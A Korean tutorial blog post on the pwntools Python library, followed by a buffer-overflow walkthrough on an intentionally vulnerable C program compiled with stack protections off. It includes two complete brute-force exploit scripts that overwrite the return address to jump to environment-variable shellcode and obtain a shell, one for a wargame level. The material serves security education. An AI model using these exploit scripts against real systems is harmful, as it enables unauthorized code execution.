환경변수에 넣고 열심히 실행시키는거 보자니..... 내 손이 다 아프다....
그래서 python으로 돌리는 거랑 pwntools란 모듈을 하나 소개해줄려고 한다!!
pwntools는 파이썬 모듈로 매우 갓갓이다!!!
그래서 매우 간단히 필수로 쓸거만 알아보려고 한다.
일단 설치법(wargame 서버엔 이미 깔려있음)
이거 치면 됩니당~
사용법
1. process
Spawns a new process, and wraps it with a tube for communication.
새 프로세스 생성(실행파일 실행 가능)
test란 실행파일 실행
1 | s = process( "./test" ) |
python list를 이용해 strace를 사용 가능
1 | s = process([ "strace" , "-i" , "./test" ]) |
argv 또한 list를 이용해서 전달 가능
1 | s = process([ "./test" , "A" * 100 ]) |
2. remote
Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.
원격 또한 접근 가능
nc 203.229.206.21 10013포트 접속
1 | s = remote( "203.229.206.21" , 10013 ) |
3. recvuntil(“v”)
Receive data until one of ”argv” is encountered.
바이너리(실행파일)에서 출력되는 값 받을 수 있음
recvuntil을 이용하여 실행파일이 어디까지 실행되었는지 알 수 있음
str 변수에 test로 끝나는 실행파일 출력이 들감
1 | str = s.recvuntil( "test" ) |
* 여기서 s는 위에서 s = process("test") 로 실행파일을 실행시켰을 때 사용 가능
* recvuntil은 지정한 문자열이 나올때까지 계속 기다림
4. recv()
Receives up to numb bytes of data from the tube, and returns as soon as any quantity of data is available.
recvuntil이랑 비슷하지만 인자에 숫자를 넣어 지정한 바이트만큼 출력되는 값 받을 수 있음
str 변수에 1024바이트의 실행파일 출력이 들감
1 | str = s.recv( 1024 ) |
* 여기서 s는 위에서 s = process("test") 로 실행파일을 실행시켰을 때 사용 가능
5. send()
Sends data.
표준입력을 넣을 수 있음
표준입력에 A 100개를 넣는다
1 | s.send( "A" * 100 ) |
* 여기서 s는 위에서 s = process("test") 로 실행파일을 실행시켰을 때 사용 가능
* send는 뒤에 개행 안붙음
6. sendline(“”)
send(data + t.newline)
send와 같으나 뒤에 개행이 붙음
표준입력에 A 100개를 넣는다
1 | s.sendline( "A" * 100 ) |
* 여기서 s는 위에서 s = process("test") 로 실행파일을 실행시켰을 때 사용 가능
* sendline는 뒤에 개행 붙음
7. Interactive()
Does simultaneous reading and writing to the tube.
interactive가 호출되면 interactive모드로 바뀌어서 그 위치에서 사용자의 입력으로 프로그램 조작 가능
주로 shell을 따고 id, cat flag 등 유저의 입력을 받아야 할 때 사용한다.
1 | s.interactive() |
* 여기서 s는 위에서 s = process("test") 로 실행파일을 실행시켰을 때 사용 가능
8. p32(), p64()
packs an 32,64-bit integer
32비트, 64비트형으로 인자를 바로 바꿔준다.
0x12345678을 표준 입력해준다
1 | s.sendline(p32( 0x12345678 )) |
자동으로 바꿔줘서 리틀엔디안으로 열심히 써줄 필요가 없다!!!
8. u32(), u64()
The packed number 32,64-bit as a string
출력된 스트링을 32비트, 64비트형으로 바로 바꿔준다.
출력된 4바이트 메모리값을 32비트형으로 자동으로 바꿔준다
1 | memory = u32(s.recv( 4 )) |
자동으로 바꿔줘서 리틀엔디안으로 열심히 써줄 필요가 없다!!!
더 많은 사용법
http://docs.pwntools.com/en/stable/index.html
자 그러면 이제 pwntools과 python을 이용해서 shell을 따 보자!!!
컴파일 옵션 : gcc -mpreferred-stack-boundary=2 -m32 -fno-stack-protector -z execstack test.c -o test
1 2 3 4 5 6 7 | int main(){ char buf[20]; puts ( "Let's start!!!" ); read(0,buf,200); return 0; } |
딱 봐도 bof가 나는 코드이다
실행시키면 LET's start!!!가 나온 후 버퍼를 입력받는데 입력받을때 오버플로우가 난다.
그래서 우리는 배웠던 환경변수와 쉘코드를 이용해서 쉘을 딸 것이다.
그럼 일단 환경변수에 nop sled를 실행시키기 위해 쉘코드랑 nop을 넣으시고~~~ (nop sled에 대한 것은 따로 설명하지 않는다)
이제 파이썬 코드를 짜면 된다!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | # usr/bin/env python # ryuuu from pwn import * context.log_level = 'warn' addr = 0xfff8b7ea payload = "A" * 24 + p32(addr) find = False def ex(): for i in xrange ( 10000 ): print i try : s = process( "./test" ) s.sendline(payload) s.sendline( "ls" ) text = s.recv(timeout = 1 ) if "test" in text: find = True break except : s.close() continue s.close() s.interactive() if __name__ = = '__main__' : ex() |
코드 설명을 해보자면 저 위 주석 두줄은 python 쓴다는거고 작성자를 써주는게 관행이다.
그리고 from pwn import * 은 pwntool을 써주기 위해서 import 해주는거고 본격적으로 main을 보면 ex란 함수를 호출한다
ex란 함수 내에는 process를 이용해 test라는 실행파일을 실행시키고 표준입력으로 버퍼를 채운 후 환경변수 주소로 ret를 덮는다!!!
그리고 ls를 쳐서 ls를 치면 그 바이너리 이름이 무조건 출력된다는 것을 이용해서 쉘이 따졌는지 확인한다
쉘이 안따졌다면 close하고 반복한다
만약 쉘이 따졌다면 interactive를 이용하여 쉘 상에 진입할 수 있다
try except는 python 사용법을 찾아보시길....
아 혹시 python 모르시는 분들 python은 .py파일로 작성하고 python 실행파일 이름 예를들어 python test.py 이런식으로 실행한다
64번만에 쉘이 따졌당
혹시 보고 또 봐도 모르겠으면 질문해주세요!!!! 물론 파이썬 안쓰시고 손으로 하셔도 됩니다 ㅎㅎㅎㅎ
* 추가 *
***jlevel0번 pwntools 이용 풀이***
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | # usr/bin/env python # ryuuu from pwn import * context.log_level = 'warn' addr = 0xfffe56b5 payload = "A" * 112 + p32(addr) find = False def ex(): for i in xrange ( 10000 ): print i try : s = process([ "./start" , payload]) s.sendline( "ls" ) text = s.recv(timeout = 1 ) if "start" in text: find = True break except : s.close() continue s.close() s.interactive() if __name__ = = '__main__' : ex() |
'pwnable > System Basic' 카테고리의 다른 글
메모리 정리 (0) | 2018.05.08 |
---|---|
리눅스 디렉토리 구조 (0) | 2018.05.02 |
리눅스 구조 (0) | 2018.05.02 |
댓글